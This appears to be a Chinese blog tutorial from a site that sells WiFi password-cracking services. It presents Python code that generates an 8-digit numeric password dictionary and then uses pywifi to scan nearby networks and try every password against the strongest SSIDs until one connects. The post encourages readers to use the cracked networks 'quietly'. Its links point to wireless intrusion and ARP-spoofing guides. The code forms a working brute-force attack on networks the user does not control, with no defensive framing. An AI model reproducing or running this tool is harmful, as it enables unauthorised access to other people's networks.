python版本的WiFi万能钥匙

caocao3年前教程561

在线wifi跑包 金刚包跑包 cap跑包 hccapx ewsa在线 就来 曹操wifi

各位好 又见面了 我是曹操 今天给大家带来一篇新的教程

希望各位细心学习 低调用网

最全wifi密码字典包

一、前言说明

本机运行环境:系统环境Win10,运行环境Python3.6,运行工具Pycharm 需要Python的包有:pywifi 这是一种暴力破解wifi的模式,需要的时间比较长,本文主要提供一个破解思路

'''
遇到不懂的问题?Python学习交流群:821460695满足你的需求,资料都已经上传群文件,可以自行下载!
'''
import itertools as its
if __name__ == '__main__':
 words_num = "1234567890"
 words_letter = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
 r = its.product(words_num, repeat=8)
 dic = open("password-8位数字.txt", "w")
 for i in r:
 dic.write("".join(i))
 dic.write("".join("\n"))
 dic.close()

二、思路介绍

先生成一个密码字典(此步骤也可以从网上下载字典) 循环用密码字典的每个密码去尝试连接Wifi,直到成功

三、源码设计

  1. 密码字典TXT文件生成,本文提供的比较简单,实用破解可以根据一般密码设置,去生成比较大比较全的密码字典
import pywifi
from pywifi import const # 引用一些定义
import time
def getwifi(wifilist, wificount):
 wifi = pywifi.PyWiFi() # 抓取网卡接口
 ifaces = wifi.interfaces()[0] # 获取网卡
 ifaces.scan()
 time.sleep(8)
 bessis = ifaces.scan_results()
 allwifilist = []
 namelist = []
 ssidlist = []
 for data in bessis:
 if data.ssid not in namelist: # 去掉重复的WIFI名称
 namelist.append(data.ssid)
 allwifilist.append((data.ssid, data.signal))
 sorted(allwifilist, key=lambda st: st[1], reverse=True)
 time.sleep(1)
 n = 0
 if len(allwifilist) is not 0:
 for item in allwifilist:
 if (item[0] not in ssidlist) & (item[0] not in wifilist):
 n = n + 1
 if n <= wificount:
 ssidlist.append(item[0])
 print(allwifilist)
 return ssidlist
def getifaces():
 wifi = pywifi.PyWiFi() # 抓取网卡接口
 ifaces = wifi.interfaces()[0] # 获取网卡
 ifaces.disconnect() # 断开无限网卡连接
 return ifaces
def testwifi(ifaces, ssidname, password):
 profile = pywifi.Profile() # 创建wifi连接文件
 profile.ssid = ssidname # 定义wifissid
 profile.auth = const.AUTH_ALG_OPEN # 网卡的开放
 profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法
 profile.cipher = const.CIPHER_TYPE_CCMP # 加密单元
 profile.key = password # wifi密码
 ifaces.remove_all_network_profiles() # 删除其他所有配置文件
 tmp_profile = ifaces.add_network_profile(profile) # 加载配置文件
 ifaces.connect(tmp_profile) # 连接wifi
 time.sleep(5) # 5秒内能否连接上
 if ifaces.status() == const.IFACE_CONNECTED:
 return True
 else:
 return False
def beginwork(wifinamelist):
 ifaces = getifaces()
 path = r"password-8位数字.txt"
 # path = r"password-常用密码.txt"
 files = open(path, 'r')
 while True:
 try:
 password = files.readline()
 password = password.strip('\n')
 if not password:
 break
 for wifiname in wifinamelist:
 print("正在尝试:" + wifiname + "," + password)
 if testwifi(ifaces, wifiname, password):
 print("Wifi账号:" + wifiname + ",Wifi密码:" + password)
 wifinamelist.remove(wifiname)
 break
 if not wifinamelist:
 break
 except:
 continue
 files.close()
if __name__ == '__main__':
 wifinames_e = ["", "Vrapile"] # 排除不破解的wifi名字
 wifinames = getwifi(wifinames_e, 5)
 print(wifinames)
 beginwork(wifinames)

相关文章

如何使用Kali Linux进行无线入侵测试

如何使用Kali Linux进行无线入侵测试

在线wifi跑包 金刚包跑包 cap跑包 hccapx ewsa在线 就来 曹操wifi 各位好 又见面了 我是曹操 今天给大家带来一篇新的教程 希望各位细心学习 低调用网 Kali Linux是一...

kali Linux显卡驱动安装(双显卡笔记本注意事项和解决方案)

kali Linux显卡驱动安装(双显卡笔记本注意事项和解决方案)

在线wifi跑包 金刚包跑包 cap跑包 hccapx ewsa在线 就来 曹操wifi 各位好 又见面了 我是曹操 今天给大家带来一篇新的教程 希望各位细心学习 低调用网 Kali Linux 显...

kali Linux安装中文输入法

kali Linux安装中文输入法

回答1:在 Kali Linux 上安装中文输入法的方法有很多种,其中一种是使用 fcitx 输入法。1. 安装 fcitx 输入法:在终端输入 "sudo apt-get install fcitx...

kali中ARP欺骗与MITM(中间人攻击)(二)

kali中ARP欺骗与MITM(中间人攻击)(二)

在线wifi跑包 金刚包跑包 cap跑包 hccapx ewsa在线 就来 曹操wifi 各位好 又见面了 我是曹操 今天给大家带来一篇新的教程 希望各位细心学习 低调用网 攻击环境: 网关: AS...